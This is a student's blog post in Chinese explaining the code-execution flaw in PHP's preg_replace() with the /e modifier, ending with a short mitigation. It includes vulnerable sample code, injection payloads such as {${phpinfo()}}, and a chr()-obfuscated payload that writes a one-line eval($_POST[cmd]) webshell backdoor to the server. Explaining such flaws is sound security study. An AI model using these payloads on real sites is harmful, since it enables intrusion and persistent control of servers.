代码执行函数--preg_replace()

晚自习在补警职的作业orz苦啊。。表哥在看书的时候遇到的一个小问题,和我分享了一下,想起以前也遇到过这个危险函数,没有总结。
回到宿舍已经快熄灯了,等到查完寝,学习了一下,简要总结。
网上文章也比较多,发现都是一样的。。。。。。。参考参考。

1、关于 preg_replace() 函数:
preg_replace 函数执行一个正则表达式的搜索和替换
语法:

1
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。
2、危险来源:
/e 修正符用在函数 preg_replace() 时,会将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。
要确保 replacement 构成一个合法的php代码,才会执行,否则会报错。
导致代码执行漏洞的产生。。

3、分析利用:
代码:

1
2
3
<?
echo preg_replace("/test/e",$_GET["h"],"jutst test");
?>

如果提交:?h=phpinfo(),phpinfo()将会被执行(使用/e修饰符,preg_replace会将 replacement 参数当作 PHP 代码执行,即把phpinfo()执行)

在后门中的利用:
h=eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(100).chr(97). chr(116).chr(97).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60). chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91). chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))
解码:?h= fputs(fopen(data/a.php,w),<?php eval($_POST[cmd])?>);
执行后: 在/data/目录下生成一个一句话木马文件 a.php

另一个例子:

1
2
3
4
5
6
<?
function test($str)
{
}
echo preg_replace("/s*[php](.+?)[/php]s*/ies", 'test("\1")', $_GET["h"]);
?>

提交 ?h=[php]phpinfo()[/php] 正则匹配后, replacement 参数变为’test(“phpinfo”)’,此时phpinfo仅是被当做一个字符串参数了,不会执行。
但是, 提交
?h=[php]{${phpinfo()}}[/php]
phpinfo()就会被执行 因为 在php中,双引号里面如果包含有变量,php解释器会将其替换为变量解释后的结果;单引号中的变量不会被处理。 注意:双引号中的函数不会被执行和替换。
通过{${}}构造出了一个特殊的变量,'test("{${phpinfo()}}")',达到让函数被执行的效果(${phpinfo()}会被解释执行

4、限制条件:
第一个参数需要e标识符,有了它可以执行第二个参数的命令。
第一个参数需要在第三个参数中的中有匹配,不然echo会返回第三个参数而不执行命令。
如:

1
2
echo preg_replace("/texst/e",$_GET["h"],"jutst test");
echo preg_replace("/test/e",$_GET["h"],"jutst texst");都不会执

行,不满足第二个条件。

5、漏洞防范:
'test("/1")' 修改为"test('/1')",这样‘${phpinfo()}'就会被当做一个普通的字符串处理(单引号中的变量不会被处理)。

ps:整理写完已经是第二天了,,,orz。 睡觉。。明天还得复习,come on 。。。。。。。。

-------------本文结束有错指正哦!-------------